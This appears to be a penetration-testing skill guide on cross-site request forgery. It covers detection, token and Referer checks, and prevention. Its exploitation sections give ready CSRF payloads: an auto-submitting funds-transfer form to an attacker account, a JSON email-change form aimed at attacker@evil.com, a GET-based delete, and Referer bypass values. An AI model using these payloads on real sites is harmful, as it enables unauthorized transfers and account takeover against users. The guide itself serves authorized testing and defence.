csrf-testing

CSRF cross-site request forgery testing

Overview

CSRF (Cross-Site Request Forgery) is an attack method that exploits a user's logged-in state to perform unauthorized operations. This skill provides methods for detecting, exploiting, and preventing CSRF vulnerabilities.

Vulnerability principle

• The attacker induces the user to visit a malicious page
• The malicious page automatically sends a request to the target website
• The browser automatically carries the user's authentication information (Cookie, Session)
• The target website mistakenly believes it is a legitimate user operation

Testing methods

1. Identify sensitive operations

• Password change
• Email change
• Transfer operation
• Permission change
• Data deletion
• Status update

2. Detect CSRF Token

Check whether there is Token protection:

<!-- 有Token保护 -->
<form method="POST" action="/change-password">
  <input type="hidden" name="csrf_token" value="abc123">
  <input type="password" name="new_password">
</form>

<!-- 无Token保护 - 存在CSRF风险 -->
<form method="POST" action="/change-email">
  <input type="email" name="new_email">
</form>

3. Verify Token validity

Test whether the Token is predictable:

• Whether the Token is based on a timestamp
• Whether the Token is based on the user ID
• Whether the Token can be reused
• Whether the Token is shared among multiple requests

4. Check Referer validation

Test whether the Referer check can be bypassed:

// 正常请求
Referer: https://target.com/change-password

// 测试绕过
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: (空)

Exploitation techniques

Basic CSRF attack

HTML form auto-submission:

<form action="https://target.com/api/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

JSON CSRF

Bypass Content-Type check:

<!-- 使用form表单提交JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

GET request CSRF

Exploit GET requests for attacks:

<img src="https://target.com/api/delete?id=123">

Bypass techniques

Token bypass

If the Token is in a Cookie:

// 如果Token同时存在于Cookie和表单中
// 可以尝试只提交Cookie中的Token
fetch('https://target.com/api/action', {
  method: 'POST',
  credentials: 'include',
  body: 'action=delete&id=123'
  // 不包含csrf_token参数，依赖Cookie
});

SameSite Cookie bypass

Exploit subdomains:

• If SameSite=Lax, GET requests can still carry Cookies
• Exploit subdomains for attacks

Double submit Cookie

Bypass Token validation:

<!-- 如果Token在Cookie中，且验证逻辑有缺陷 -->
<form action="https://target.com/api/action" method="POST">
  <input type="hidden" name="csrf_token" value="">
  <script>
    // 从Cookie中读取Token
    document.cookie.split(';').forEach(c => {
      if(c.trim().startsWith('csrf_token=')) {
        document.querySelector('input[name="csrf_token"]').value = 
          c.split('=')[1];
      }
    });
  </script>
</form>

Tool usage

Burp Suite

Use a CSRF PoC generator:

1. Intercept the target request
2. Right-click → Engagement tools → Generate CSRF PoC
3. Test the generated PoC

OWASP ZAP

# 使用ZAP进行CSRF扫描
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com

Verification and reporting

Verification steps

1. Confirm that the target operation has no CSRF Token protection
2. Construct a malicious request and verify it is executable
3. Assess the impact (data leakage, privilege escalation, financial loss, etc.)
4. Record the complete POC

Report key points

• Vulnerability location and affected operations
• Attack scenario and scope of impact
• Complete exploitation steps and PoC
• Remediation recommendations (CSRF Token, SameSite Cookie, Referer validation, etc.)

Protective measures

Recommended solutions

1. CSRF Token

   • Each form contains a unique Token
   • The Token is stored in the Session
   • Verify Token validity

2. SameSite Cookie

   Set-Cookie: session=abc123; SameSite=Strict; Secure
   

3. Double submit Cookie

   • The Token exists in both the Cookie and the form
   • Verify whether the two match

4. Referer validation

   • Verify whether the Referer is same-origin
   • Pay attention to handling of an empty Referer

Precautions

• Perform only in an authorized testing environment
• Avoid causing actual impact on user accounts
• Record all testing steps
• Consider behavioral differences across different browsers